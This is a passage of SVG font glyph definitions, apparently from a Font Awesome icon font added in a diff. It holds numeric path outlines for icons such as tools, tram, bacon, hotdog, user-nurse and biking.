35.2998v156.7h-16c-8.7998 0 -16 7.2002 -16 16v16c0 8.7998 7.2002 16 16 16h352c8.7998 0 16 -7.2002 16 -16v-16c0 -8.7998 -7.2002 -16 -16 -16zM80 376v-16 +c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8zM192 176c77.0996 0 139.6 14.2998 139.6 32s-62.5 32 -139.6 32s-139.6 -14.2998 -139.6 -32s62.5 -32 139.6 -32z" /> + <glyph glyph-name="tools" unicode="" +d="M501.1 52.2998c14.5 -14.5 14.5 -38.0996 0 -52.7002l-52.6992 -52.6992c-14.5 -14.6006 -38.1006 -14.6006 -52.7002 0l-117.101 117.1c-23.0996 23.0996 -27.5 57.5996 -13.8994 85.4004l-106.601 106.6h-62.0996l-96 128l64 64l128 -96v-62.0996l106.6 -106.601 +c27.8008 13.7002 62.3008 9.2002 85.4004 -13.8994zM331.7 223c-8.2002 0 -16.6006 -1 -24.7002 -2.90039l-82.0996 82.1006c-0.700195 37.5 12.6992 75.0996 41.1992 103.6c37 37 89.2002 49.6006 136.601 37.9004c9.09961 -2.2998 12.2998 -13.6006 5.7002 -20.2002 +l-74.4004 -74.4004l11.2998 -67.8994l67.9004 -11.2998l74.3994 74.3994c6.60059 6.60059 17.9004 3.5 20.1006 -5.5c11.7998 -47.3994 -0.799805 -99.5996 -37.9004 -136.7c-13 -13 -28 -22.5996 -43.7998 -29.5l-19.4004 19.4004c-20 20 -46.5996 31 -74.8994 31z +M227.8 141c-4.89941 -21.0996 -2.59961 -42.7998 5 -62.7002l-123.6 -123.6c-25 -25 -65.5 -25 -90.5 0s-25 65.5 0 90.5l152.399 152.5zM64 -24c13.2998 0 24 10.7998 24 24c0 13.2998 -10.7002 24 -24 24s-24 -10.7002 -24 -24c0 -13.2002 10.7998 -24 24 -24z" /> + <glyph glyph-name="tram" unicode="" +d="M288 384c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM511.5 396.1c2.2002 -8.5 -2.7998 -17.2998 -11.4004 -19.5996l-228.1 -60.7998v-91.7002h176c17.7002 0 32 -14.2998 32 -32v-224c0 -17.7002 -14.2998 -32 -32 -32 +h-384c-17.7002 0 -32 14.2998 -32 32v224c0 17.7002 14.2998 32 32 32h176v83.2002l-219.9 -58.7002c-1.2998 -0.299805 -2.69922 -0.5 -4.09961 -0.5c-7.09961 0 -13.5 4.7002 -15.4004 11.7998c-2.2998 8.60059 2.80078 17.2998 11.3008 19.6006l480 128 +c8.59961 2.2998 17.2998 -2.7002 19.5996 -11.3008zM176 64v96h-96v-96h96zM336 160v-96h96v96h-96zM304 160h-96v-96h96v96zM192 352c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32z" /> + <glyph glyph-name="fire-alt" unicode="" horiz-adv-x="448" +d="M323.56 396.8c72.46 -67.2598 124.44 -177.13 124.44 -230.399c0 -127.25 -100.29 -230.4 -224 -230.4s-224 103.15 -224 230.4c0 71.6396 69.7402 190.43 168 281.6c38.2803 -35.5303 72.0801 -73.6201 99.3398 -111.17 +c16.6406 20.3799 35.4199 40.6699 56.2197 59.9697zM304.09 56.1504c49.2402 34.4492 60.7803 101.229 33.4297 153.42c-3.35938 6.41992 -7.12988 13.1201 -11.2695 19.9697l-58.6299 -66.8799s-91.9004 117.359 -98.8301 125.34 +c-48.4805 -58.1201 -72.79 -92.1396 -72.79 -130.75c0 -77.5098 58.71 -125.25 130.86 -125.25c28.8594 0 55.5693 8.99023 77.2295 24.1504z" /> + <glyph glyph-name="bacon" unicode="" horiz-adv-x="576" +d="M218.92 111.61c-34.8604 -34.8799 -59.6504 -44.1602 -85.9199 -54c-26 -9.76074 -53 -20.1299 -88.1699 -52.7305l-35.7598 35.5098c-12.7002 12.6104 -12.0703 33.6104 1.79004 45.0605c36.3398 29.9795 66.21 41.0996 91.0693 50.3594 +c9.16992 3.41016 68.9707 19.2607 98.7207 98.0908c8.60938 22.8096 46.3496 134.58 188.979 187.72c15.8506 5.91016 27.3604 10.2002 41 20.2998c5.14941 3.80859 11.5498 6.08008 18.4404 6.08008c8.46484 0 16.1426 -3.40137 21.7393 -8.91016l37.6709 -37.3896 +c-30.1504 -27.6904 -52.9102 -36.3701 -76.79 -45.3701c-28.3008 -10.6104 -57.5703 -21.5801 -97.3506 -61.3799s-50.7598 -69.0498 -61.3701 -97.3398c-9.84961 -26.3008 -19.1602 -51.1104 -54.0498 -86zM566.92 343.61 +c12.7002 -12.5996 12.0801 -33.6602 -1.80957 -45.0605c-36.3701 -30.0098 -66.2402 -41.1396 -91.1104 -50.4102c-9.2002 -3.43945 -69 -19.3193 -98.7305 -98.1094c-8.93945 -23.5898 -46.7393 -134.69 -188.939 -187.69 +c-15.8496 -5.89941 -27.3398 -10.1797 -40.9404 -20.2402c-5.14941 -3.81055 -11.5527 -6.08301 -18.4453 -6.08301c-8.46289 0 -16.1377 3.39844 -21.7344 8.90332l-37.6797 37.4297c30.1094 27.6699 52.8594 36.3301 76.7197 45.3301 +c28.2998 10.5898 57.5098 21.54 97.2998 61.3203s50.7803 69 61.4199 97.3301c9.81055 26.3096 19.1104 51.1602 54 86c34.8906 34.8398 59.6904 44.1504 85.9502 54c26.0703 9.79004 53.0605 20.1602 88.25 52.79z" /> + <glyph glyph-name="book-medical" unicode="" horiz-adv-x="448" +d="M448 89.5996c0 -9.59961 -3.2002 -15.999 -9.59961 -19.1992c-3.2002 -12.8008 -3.2002 -57.6006 0 -73.6006c6.39941 -6.39941 9.59961 -12.7998 9.59961 -19.2002v-16c0 -16 -12.7998 -25.5996 -25.5996 -25.5996h-326.4c-54.4004 0 -96 41.5996 -96 96v320 +c0 54.4004 41.5996 96 96 96h326.4c16 0 25.5996 -9.59961 25.5996 -25.5996v-332.801zM144 280v-48c0 -4.41504 3.58496 -8 8 -8h56v-56c0 -4.41504 3.58496 -8 8 -8h48c4.41504 0 8 3.58496 8 8v56h56c4.41504 0 8 3.58496 8 8v48c0 4.41504 -3.58496 8 -8 8h-56v56 +c0 4.41504 -3.58496 8 -8 8h-48c-4.41504 0 -8 -3.58496 -8 -8v-56h-56c-4.41504 0 -8 -3.58496 -8 -8zM380.8 0v64h-284.8c-16 0 -32 -12.7998 -32 -32s12.7998 -32 32 -32h284.8z" /> + <glyph glyph-name="bread-slice" unicode="" horiz-adv-x="576" +d="M288 448c180 0 288 -93.4004 288 -169.14c0 -30.3008 -24.2402 -54.8604 -64 -54.8604v-256c0 -17.6699 -16.1201 -32 -36 -32h-376c-19.8799 0 -36 14.3301 -36 32v256c-39.7598 0 -64 24.5596 -64 54.8604c0 75.7393 108 169.14 288 169.14z" /> + <glyph glyph-name="cheese" unicode="" +d="M0 160h512v-160c0 -17.6611 -14.3389 -32 -32 -32h-448c-17.6611 0 -32 14.3389 -32 32v160zM299.83 416c118.17 -6.2002 212.17 -104.11 212.17 -224h-512l278.7 217c5.47656 4.38477 12.4277 7.02051 19.9814 7.02051 +c0.384766 0 0.767578 -0.00683594 1.14844 -0.0205078z" /> + <glyph glyph-name="clinic-medical" unicode="" horiz-adv-x="576" +d="M288 333l218.74 -192.9c1.54004 -1.37988 3.55957 -2.04004 5.25977 -3.19922v-184.9c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v184.94c1.78027 1.20996 3.84961 1.88965 5.46973 3.34961zM384 72v48c0 4.41504 -3.58496 8 -8 8h-56v56 +c0 4.41504 -3.58496 8 -8 8h-48c-4.41504 0 -8 -3.58496 -8 -8v-56h-56c-4.41504 0 -8 -3.58496 -8 -8v-48c0 -4.41504 3.58496 -8 8 -8h56v-56c0 -4.41504 3.58496 -8 8 -8h48c4.41504 0 8 3.58496 8 8v56h56c4.41504 0 8 3.58496 8 8zM570.69 211.72 +c3.2627 -2.92969 5.30762 -7.18555 5.30762 -11.9121c0 -4.10156 -1.54688 -7.84473 -4.08789 -10.6777l-21.4004 -23.8203c-2.92969 -3.2627 -7.18457 -5.30762 -11.9111 -5.30762c-4.10742 0 -7.85449 1.55078 -10.6885 4.09766l-229.32 202.271 +c-2.82031 2.48828 -6.53906 3.99902 -10.5928 3.99902c-4.05273 0 -7.75684 -1.51074 -10.5771 -3.99902l-229.32 -202.28c-2.83398 -2.54688 -6.58594 -4.10645 -10.6924 -4.10645c-4.72656 0 -8.97754 2.05371 -11.9072 5.31641l-21.4102 23.8203 +c-2.54688 2.83398 -4.10645 6.58594 -4.10645 10.6934c0 4.72559 2.05371 8.97656 5.31641 11.9062l256 226c7.06934 6.3916 16.4707 10.2852 26.7412 10.2852c10.2715 0 19.6396 -3.89355 26.709 -10.2852z" /> + <glyph glyph-name="comment-medical" unicode="" +d="M256 416c141.39 0 256 -93.1201 256 -208s-114.61 -208 -256 -208c-0.161133 0 -0.446289 0.107422 -0.606445 0.107422c-37.5674 0 -73.5547 6.81445 -106.794 19.2725c-24.5996 -19.6299 -74.3398 -51.3799 -140.6 -51.3799 +c-4.41113 0.00488281 -7.99023 3.58984 -7.99023 8.00195c0 2.12891 0.833008 4.06445 2.19043 5.49805c0.5 0.5 42.2598 45.4502 54.7998 95.7598c-35.5898 35.7402 -57 81.1807 -57 130.74c0 114.88 114.62 208 256 208zM352 184v48c0 4.41504 -3.58496 8 -8 8h-56v56 +c0 4.41504 -3.58496 8 -8 8h-48c-4.41504 0 -8 -3.58496 -8 -8v-56h-56c-4.41504 0 -8 -3.58496 -8 -8v-48c0 -4.41504 3.58496 -8 8 -8h56v-56c0 -4.41504 3.58496 -8 8 -8h48c4.41504 0 8 3.58496 8 8v56h56c4.41504 0 8 3.58496 8 8z" /> + <glyph glyph-name="crutch" unicode="" +d="M507.31 262.29c2.87109 -2.89258 4.64551 -6.87891 4.64551 -11.2725c0 -4.42285 -1.79883 -8.42969 -4.70508 -11.3271l-22.6201 -22.6309c-2.89648 -2.89648 -6.90137 -4.68945 -11.3174 -4.68945s-8.41602 1.79297 -11.3125 4.68945l-181 181 +c-2.89648 2.89648 -4.68945 6.90137 -4.68945 11.3174s1.79297 8.41699 4.68945 11.3135l22.6904 22.5996c2.89551 2.89355 6.89844 4.68457 11.3115 4.68457c4.41406 0 8.41211 -1.79102 11.3076 -4.68457zM327.77 195.88l55.1006 55.1201l45.25 -45.2695l-109.68 -109.681 +c-12.4922 -12.4961 -28.4805 -21.5479 -46.29 -25.6494l-120.25 -27.75l-102 -102c-2.89648 -2.89746 -6.90137 -4.69043 -11.3174 -4.69043s-8.41699 1.79297 -11.3135 4.69043l-22.6191 22.6191c-2.89746 2.89648 -4.69043 6.90137 -4.69043 11.3174 +s1.79297 8.41699 4.69043 11.3135l102 102l27.7393 120.26c4.11816 17.8066 13.1738 33.7939 25.6699 46.29l109.671 109.67l45.25 -45.25l-55.1006 -55.1006zM273.2 141.31l9.30957 9.31055l-67.8896 67.8896l-9.31055 -9.30957 +c-4.16113 -4.17676 -7.17969 -9.51074 -8.55957 -15.4502l-18.2998 -79.2998l79.2998 18.3193c5.94238 1.36328 11.2783 4.37695 15.4502 8.54004z" /> + <glyph glyph-name="disease" unicode="" +d="M472.29 252.1c48.54 -16.6191 53.8301 -73.8301 8.99023 -96.79l-62 -31.7393c-17.8301 -9.12988 -29.2803 -25.2002 -30.6299 -43l-4.7002 -61.8604c-3.4502 -44.79 -65.1299 -66.7803 -104.45 -37.2197l-54.3203 40.8301 +c-15.6201 11.7295 -36.96 16.1201 -57.0693 11.7295l-70 -15.2803c-50.6504 -11.0596 -94.1104 32.5605 -73.46 73.8008l28.4297 57c8.17969 16.3799 6.43945 35.1699 -4.63965 50.2393l-38.54 52.4209c-27.9307 37.9492 7 86.9092 59 82.8398l71.8994 -5.62012 +c20.6602 -1.62012 40.9404 5.59961 54.2002 19.3096l46.0898 47.7207c33.4297 34.5098 98.4199 21.1494 110 -22.6201l16 -60.4502c4.60059 -17.3906 18.8604 -31.71 38.1406 -38.3105zM160 192c17.6611 0 32 14.3389 32 32s-14.3389 32 -32 32s-32 -14.3389 -32 -32 +s14.3389 -32 32 -32zM288 96c17.6611 0 32 14.3389 32 32s-14.3389 32 -32 32s-32 -14.3389 -32 -32s14.3389 -32 32 -32zM304 224c8.83105 0 16 7.16895 16 16s-7.16895 16 -16 16s-16 -7.16895 -16 -16s7.16895 -16 16 -16z" /> + <glyph glyph-name="egg" unicode="" horiz-adv-x="384" +d="M192 448c106 0 192 -214 192 -320s-86 -192 -192 -192s-192 86 -192 192s86 320 192 320z" /> + <glyph glyph-name="hamburger" unicode="" +d="M464 192c26.4922 0 48 -21.5078 48 -48s-21.5078 -48 -48 -48h-416c-26.4922 0 -48 21.5078 -48 48s21.5078 48 48 48h416zM480 64c8.83105 0 16 -7.16895 16 -16v-16c0 -35.3223 -28.6777 -64 -64 -64h-352c-35.3223 0 -64 28.6777 -64 64v16 +c0 8.83105 7.16895 16 16 16h448zM58.6396 224c-34.5693 0 -54.6396 43.9102 -34.8193 75.8896c40.1797 64.9102 128.64 116.011 232.18 116.11c103.55 -0.0996094 192 -51.2002 232.18 -116.12c19.8008 -31.9795 -0.25 -75.8799 -34.8193 -75.8799h-394.721zM384 336 +c-8.83105 0 -16 -7.16895 -16 -16s7.16895 -16 16 -16s16 7.16895 16 16s-7.16895 16 -16 16zM256 368c-8.83105 0 -16 -7.16895 -16 -16s7.16895 -16 16 -16s16 7.16895 16 16s-7.16895 16 -16 16zM128 336c-8.83105 0 -16 -7.16895 -16 -16s7.16895 -16 16 -16 +s16 7.16895 16 16s-7.16895 16 -16 16z" /> + <glyph glyph-name="hand-middle-finger" unicode="" +d="M479.93 130.88l0.0703125 -82.8799c0 -61.7979 -50.1592 -111.973 -111.95 -112h-215c-30.9053 0.00292969 -58.9189 12.5361 -79.1895 32.8096l-30.9307 30.9307c-6.75488 6.75391 -10.9297 16.0928 -10.9297 26.3896v73.4697 +c0 14.6221 8.38574 27.2734 20.6396 33.4004l27.3604 15v-76c0 -4.41504 3.58496 -8 8 -8s8 3.58496 8 8v147.04c0 15.2598 12.8701 28.3799 30.8701 31.3799l30.6797 5.12012c17.8203 2.96973 34.4502 -8.38965 34.4502 -23.54v-32c0 -4.41504 3.58496 -8 8 -8 +s8 3.58496 8 8v200c0 0.0078125 -0.0244141 0.015625 -0.0244141 0.0234375c0 26.4912 21.5078 48 48 48c0.50293 0 1.00488 -0.0078125 1.50488 -0.0234375c26.2695 -0.799805 46.5195 -23.7197 46.5195 -50v-198c0 -4.41504 3.58496 -8 8 -8s8 3.58496 8 8v32 +c0 15.1396 16.6299 26.5 34.4502 23.5303l38.3994 -6.40039c13.46 -2.25 23.1504 -12.0996 23.1504 -23.54v-49.5898l35.6504 -8.92969c16.2188 -4.05371 28.2676 -18.7256 28.2793 -36.1904z" /> + <glyph glyph-name="hard-hat" unicode="" +d="M480 160v-64h-448v64c0 80.25 49.2803 148.92 119.19 177.62l40.8096 -81.6201v112c0 8.83105 7.16895 16 16 16h96c8.83105 0 16 -7.16895 16 -16v-112l40.8096 81.6201c69.9102 -28.7002 119.19 -97.3701 119.19 -177.62zM496 64c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-480c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h480z" /> + <glyph glyph-name="hospital-user" unicode="" horiz-adv-x="640" +d="M480 128c-52.9834 0 -96 43.0166 -96 96s43.0166 96 96 96s96 -43.0166 96 -96s-43.0166 -96 -96 -96zM528 96c61.8145 0 112.002 -50.1738 112.002 -111.988c0 -0.210938 -0.000976562 -0.420898 -0.00195312 -0.631836 +c-0.139648 -26.2598 -21.7305 -47.3799 -48 -47.3799h-224c-26.2695 0 -47.8604 21.1201 -48 47.3799c-0.000976562 0.210938 0 0.40918 0 0.620117c0 61.8145 50.1855 112 112 112c0.0273438 0 0.0556641 -0.00488281 0.0830078 -0.00488281 +c2.42871 0 4.77051 -0.380859 6.9668 -1.08496c12.8193 -4.4541 26.6504 -6.87402 40.9775 -6.87402s28.0938 2.41992 40.9131 6.87402c2.19922 0.704102 4.54395 1.08984 6.97656 1.08984h0.0830078zM329.91 85.5498c-25.9033 -25.8965 -41.915 -61.665 -41.915 -101.15 +c0 -0.396484 0.00195312 -0.792969 0.00488281 -1.18945c0.166016 -17.7246 6.24512 -34.1309 16.3096 -47.21h-288.31c-8.83105 0 -16 7.16895 -16 16v368c0 17.6611 14.3389 32 32 32h32v64c0 17.6611 14.3389 32 32 32h160c17.6611 0 32 -14.3389 32 -32v-64h32 +c17.6611 0 32 -14.3389 32 -32v-216.62c-7.98633 -5.24609 -15.3037 -11.1562 -22.0898 -17.8301zM144 44v40c0 6.62305 -5.37695 12 -12 12h-40c-6.62305 0 -12 -5.37695 -12 -12v-40c0 -6.62305 5.37695 -12 12 -12h40c6.62305 0 12 5.37695 12 12zM144 172v40 +c0 6.62305 -5.37695 12 -12 12h-40c-6.62305 0 -12 -5.37695 -12 -12v-40c0 -6.62305 5.37695 -12 12 -12h40c6.62305 0 12 5.37695 12 12zM192 294v26h26c3.31152 0 6 2.68848 6 6v20c0 3.31152 -2.68848 6 -6 6h-26v26c0 3.31152 -2.68848 6 -6 6h-20 +c-3.31152 0 -6 -2.68848 -6 -6v-26h-26c-3.31152 0 -6 -2.68848 -6 -6v-20c0 -3.31152 2.68848 -6 6 -6h26v-26c0 -3.31152 2.68848 -6 6 -6h20c3.31152 0 6 2.68848 6 6zM272 44v40c0 6.62305 -5.37695 12 -12 12h-40c-6.62305 0 -12 -5.37695 -12 -12v-40 +c0 -6.62305 5.37695 -12 12 -12h40c6.62305 0 12 5.37695 12 12zM272 172v40c0 6.62305 -5.37695 12 -12 12h-40c-6.62305 0 -12 -5.37695 -12 -12v-40c0 -6.62305 5.37695 -12 12 -12h40c6.62305 0 12 5.37695 12 12z" /> + <glyph glyph-name="hotdog" unicode="" +d="M488.56 424.56c14.4766 -14.4795 23.4346 -34.498 23.4346 -56.5703s-8.95801 -42.0693 -23.4346 -56.5488l-352 -352c-14.5518 -15.0674 -34.9814 -24.4199 -57.5615 -24.4199c-44.1523 0 -80 35.8467 -80 80c0 22.5801 9.375 42.9873 24.4424 57.5391l352 352 +c14.4795 14.4766 34.498 23.4346 56.5703 23.4346s42.0693 -8.95801 56.5488 -23.4346zM438.63 329.37c2.89648 2.89648 4.68457 6.90137 4.68457 11.3174c0 8.83105 -7.16992 16.002 -16.002 16.002c-4.41602 0 -8.41602 -1.79297 -11.3125 -4.68945 +c-12.4102 -12.4102 -21.7598 -14 -34.71 -16.2305c-14.4004 -2.46973 -32.3203 -5.55957 -51.9199 -25.1494c-19.6006 -19.5898 -22.6699 -37.5205 -25.1396 -51.9199c-2.24023 -12.9502 -3.84082 -22.3105 -16.2402 -34.71 +c-12.4004 -12.4004 -21.7002 -14.0098 -34.7002 -16.2305c-14.4004 -2.46973 -32.3203 -5.5498 -51.9199 -25.1396c-19.6006 -19.5898 -22.6699 -37.5205 -25.1504 -51.9199c-2.21973 -12.9502 -3.80957 -22.29 -16.2197 -34.7002s-21.71 -14.0098 -34.71 -16.2305 +c-14.4004 -2.46973 -32.3203 -5.5498 -51.9199 -25.1396c-2.89648 -2.89648 -4.68457 -6.90137 -4.68457 -11.3174c0 -8.83105 7.16992 -16.002 16.002 -16.002c4.41602 0 8.41602 1.79297 11.3125 4.68945c12.4004 12.4004 21.7598 14 34.7002 16.2305 +c14.3994 2.46973 32.3301 5.55957 51.9297 25.1494c19.6006 19.5898 22.6699 37.5205 25.1396 51.9199c2.23047 12.9502 3.83008 22.2998 16.2305 34.7002s21.75 14 34.7002 16.2197c14.3994 2.48047 32.3193 5.56055 51.9199 25.1504 +c19.5996 19.5898 22.6699 37.5195 25.1494 51.9199c2.23047 12.9502 3.83008 22.3096 16.2305 34.71s21.7598 14 34.7002 16.2305c14.4102 2.46973 32.3301 5.5498 51.9297 25.1396zM31.4404 125.82l-11.5508 11.5498c-24.9893 24.9902 -26.6592 63.8398 -3.71973 86.7803 +l207.68 207.68c22.9404 22.9395 61.79 21.2803 86.79 -3.71973l11.54 -11.5508zM480.56 258.18l11.5508 -11.54c24.9893 -25 26.6592 -63.8496 3.71973 -86.79l-207.68 -207.68c-22.9404 -22.9395 -61.79 -21.2803 -86.79 3.71973l-11.54 11.5508z" /> + <glyph glyph-name="ice-cream" unicode="" horiz-adv-x="448" +d="M368 288c26.4922 0 48 -21.5078 48 -48s-21.5078 -48 -48 -48h-288c-26.4922 0 -48 21.5078 -48 48s21.5078 48 48 48h0.94043c-0.625 5.43945 -0.93457 10.9707 -0.93457 16.5762c0 79.4756 64.5234 144 144 144c79.4756 0 144 -64.5244 144 -144 +c0 -5.60547 -0.321289 -11.1367 -0.946289 -16.5762h0.94043zM195.38 -45.6904l-99.3799 205.69h256l-99.3799 -205.69c-4.99414 -10.8223 -15.9111 -18.3398 -28.6035 -18.3398s-23.6426 7.51758 -28.6367 18.3398z" /> + <glyph glyph-name="laptop-medical" unicode="" horiz-adv-x="640" +d="M232 224c-4.41504 0 -8 3.58496 -8 8v48c0 4.41504 3.58496 8 8 8h56v56c0 4.41504 3.58496 8 8 8h48c4.41504 0 8 -3.58496 8 -8v-56h56c4.41504 0 8 -3.58496 8 -8v-48c0 -4.41504 -3.58496 -8 -8 -8h-56v-56c0 -4.41504 -3.58496 -8 -8 -8h-48 +c-4.41504 0 -8 3.58496 -8 8v56h-56zM576 400v-336h-512v336c0.0771484 26.4561 21.5439 47.9229 48 48h416c26.4561 -0.0771484 47.9229 -21.5439 48 -48zM512 128v256h-384v-256h384zM624 32c8.83105 0 16 -7.16895 16 -16v-16 +c-0.104492 -35.2744 -28.7256 -63.8955 -64 -64h-512c-35.2744 0.104492 -63.8955 28.7256 -64 64v16c0 8.83105 7.16895 16 16 16h239.23c-0.230469 -14.5303 14.0791 -32 32.7695 -32h60.7998c18.0303 0 32 12.1904 32.7402 32h242.46z" /> + <glyph glyph-name="pager" unicode="" +d="M448 384c35.3223 0 64 -28.6777 64 -64v-256c0 -35.3223 -28.6777 -64 -64 -64h-384c-35.3223 0 -64 28.6777 -64 64v256c0 35.3223 28.6777 64 64 64h384zM160 80v48h-80c-8.83105 0 -16 -7.16895 -16 -16v-16c0 -8.83105 7.16895 -16 16 -16h80zM288 96v16 +c0 8.83105 -7.16895 16 -16 16h-80v-48h80c8.83105 0 16 7.16895 16 16zM448 224v64c0 17.6611 -14.3389 32 -32 32h-320c-17.6611 0 -32 -14.3389 -32 -32v-64c0 -17.6611 14.3389 -32 32 -32h320c17.6611 0 32 14.3389 32 32z" /> + <glyph glyph-name="pepper-hot" unicode="" +d="M330.67 184.88h107.46l37.0498 -38.54c-48.5293 -87.4697 -206.54 -210.34 -419.18 -210.34c-30.9072 0 -56 25.0928 -56 56s25.0928 56 56 56c141.58 0 163.44 181.24 221.92 250.82l52.75 -24.2207v-89.7197zM461.76 313.25 +c30.8984 -28.1729 50.2402 -68.7275 50.2402 -113.795v-0.145508c0 -13.6797 -2.2998 -26.6895 -5.55957 -39.3096l-54.6807 56.8799h-89.0898v78.2402l-74.6699 34.29c22.3398 14.0498 48.3398 22.5898 76.3398 22.5898 +c20.2783 -0.0078125 39.6836 -4.32031 57.1602 -11.96c18.4502 37.2197 8.25977 61.96 1.40039 72.3203c-0.896484 1.29883 -1.42676 2.88184 -1.42676 4.57715c0 2.20117 0.884766 4.19727 2.31641 5.65234l22.9004 23c1.45117 1.47559 3.46777 2.39453 5.69922 2.39453 +c2.5166 0 4.76367 -1.16504 6.23047 -2.98438c18.5596 -23.4805 35.2998 -71.9102 3.13965 -131.75z" /> + <glyph glyph-name="pizza-slice" unicode="" +d="M158.87 447.85c181.91 -17.1699 332.02 -164.93 352.899 -345.71c1.87012 -16.2197 -7.89941 -31.54 -23.6191 -35.8994l-56.9404 -15.7803c-7.94043 186.39 -134.86 311.51 -322.479 317l14.8096 56.2705c4.12988 15.6992 19.1699 25.6396 35.3301 24.1191z +M100.4 335.85c176.069 -1.95996 294.88 -119.25 299.149 -294.14l-379 -105.1c-1.37793 -0.381836 -2.82324 -0.59375 -4.32227 -0.59375c-8.94629 0 -16.21 7.26367 -16.21 16.21c0 1.42871 0.18457 2.81348 0.532227 4.13379zM128 32c17.6611 0 32 14.3389 32 32 +s-14.3389 32 -32 32s-32 -14.3389 -32 -32s14.3389 -32 32 -32zM176 184c17.6611 0 32 14.3389 32 32s-14.3389 32 -32 32s-32 -14.3389 -32 -32s14.3389 -32 32 -32zM280 80c17.6611 0 32 14.3389 32 32s-14.3389 32 -32 32s-32 -14.3389 -32 -32s14.3389 -32 32 -32z" /> + <glyph glyph-name="trash-restore" unicode="" horiz-adv-x="448" +d="M53.2002 -19l-21.2002 339h384l-21.2002 -339c-1.57031 -25.0762 -22.4316 -44.9971 -47.8994 -45h-245.801c-25.4678 0.00292969 -46.3291 19.9238 -47.8994 45zM123.31 156.8c-10.0791 -10.6201 -2.93945 -28.7998 11.3203 -28.7998h57.3701v-112 +c0 -8.83105 7.16895 -16 16 -16h32c8.83105 0 16 7.16895 16 16v112h57.3701c14.2598 0 21.3994 18.1797 11.3203 28.7998l-89.3809 94.2598c-2.81543 3.04297 -6.83984 4.94922 -11.3086 4.94922s-8.49512 -1.90625 -11.3105 -4.94922zM432 416 +c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h120l9.40039 18.7002c3.85547 7.88574 11.9434 13.2998 21.3066 13.2998h0.0927734h114.3 +c0.00585938 0 -0.00195312 0.0234375 0.00390625 0.0234375c9.41113 0 17.5645 -5.42871 21.4961 -13.3232l9.40039 -18.7002h120z" /> + <glyph glyph-name="trash-restore-alt" unicode="" horiz-adv-x="448" +d="M32 -16v336h384v-336c0 -26.4922 -21.5078 -48 -48 -48h-288c-26.4922 0 -48 21.5078 -48 48zM123.31 156.8c-10.0791 -10.6201 -2.93945 -28.7998 11.3203 -28.7998h57.3701v-112c0 -8.83105 7.16895 -16 16 -16h32c8.83105 0 16 7.16895 16 16v112h57.3701 +c14.2598 0 21.3994 18.1797 11.3203 28.7998l-89.3809 94.2598c-2.81543 3.04297 -6.83984 4.94922 -11.3086 4.94922s-8.49512 -1.90625 -11.3105 -4.94922zM432 416c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416 +c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h120l9.40039 18.7002c3.85547 7.88574 11.9434 13.2998 21.3066 13.2998h0.0927734h114.3c0.00585938 0 -0.00195312 0.0234375 0.00390625 0.0234375c9.41113 0 17.5645 -5.42871 21.4961 -13.3232 +l9.40039 -18.7002h120z" /> + <glyph glyph-name="user-nurse" unicode="" horiz-adv-x="448" +d="M319.41 128c71.4902 -3.09961 128.59 -61.5996 128.59 -133.79c0 -32.127 -26.083 -58.21 -58.21 -58.21h-331.58c-32.127 0 -58.21 26.083 -58.21 58.21c0 72.1904 57.0996 130.69 128.59 133.79l95.4102 -95.3896zM224 144c-70.6455 0 -128 57.3545 -128 128v110.18 +c0 13.7119 8.62988 25.4092 20.7598 29.96l84.7705 31.79c6.98438 2.61914 14.6035 4.05176 22.498 4.05176s15.457 -1.43262 22.4414 -4.05176l84.7705 -31.75c12.1309 -4.55078 20.7598 -16.248 20.7598 -29.96v-0.0400391v-110.18c0 -70.6455 -57.3545 -128 -128 -128z +M184 376.33v-16.6602c0 -2.75977 2.24023 -5 5 -5h21.6699v-21.6699c0 -2.75977 2.24023 -5 5 -5h16.6602c2.75977 0 5 2.24023 5 5v21.6699h21.6699c2.75977 0 5 2.24023 5 5v16.6602c0 2.75977 -2.24023 5 -5 5h-21.6699v21.6699c0 2.75977 -2.24023 5 -5 5h-16.6602 +c-2.75977 0 -5 -2.24023 -5 -5v-21.6699h-21.6699c-2.75977 0 -5 -2.24023 -5 -5zM144 288v-16c0 -44.1533 35.8467 -80 80 -80s80 35.8467 80 80v16h-160z" /> + <glyph glyph-name="wave-square" unicode="" horiz-adv-x="640" +d="M476 -32h-152c-19.8691 0 -36 16.1309 -36 36v348h-96v-156c0 -19.8691 -16.1309 -36 -36 -36h-140c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h112v156c0 19.8691 16.1309 36 36 36h152c19.8691 0 36 -16.1309 36 -36v-348h96v156 +c0 19.8691 16.1309 36 36 36h140c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-112v-156c0 -19.8691 -16.1309 -36 -36 -36z" /> + <glyph glyph-name="biking" unicode="" horiz-adv-x="640" +d="M400 352c-26.4922 0 -48 21.5078 -48 48s21.5078 48 48 48s48 -21.5078 48 -48s-21.5078 -48 -48 -48zM396 231l-41.3604 33.1104l-58.25 -49.9199l41.3604 -27.5703c8.60547 -5.7373 14.248 -15.5117 14.25 -26.6201v-128c0 -17.6611 -14.3389 -32 -32 -32 +s-32 14.3389 -32 32v110.88l-81.7305 54.5205c-8.60742 5.7373 -14.2686 15.5068 -14.2686 26.6191c0 9.71777 4.3418 18.4297 11.1895 24.3008l112 96c5.58887 4.80176 12.8965 7.70117 20.8359 7.70117c7.55566 0 14.502 -2.62891 19.9736 -7.02148l71.2197 -57h52.7803 +c17.6611 0 32 -14.3389 32 -32s-14.3389 -32 -32 -32h-64c-0.0205078 0 -0.0625 0.0117188 -0.0830078 0.0117188c-7.53125 0 -14.457 2.61621 -19.917 6.98828zM512 192c70.6455 0 128 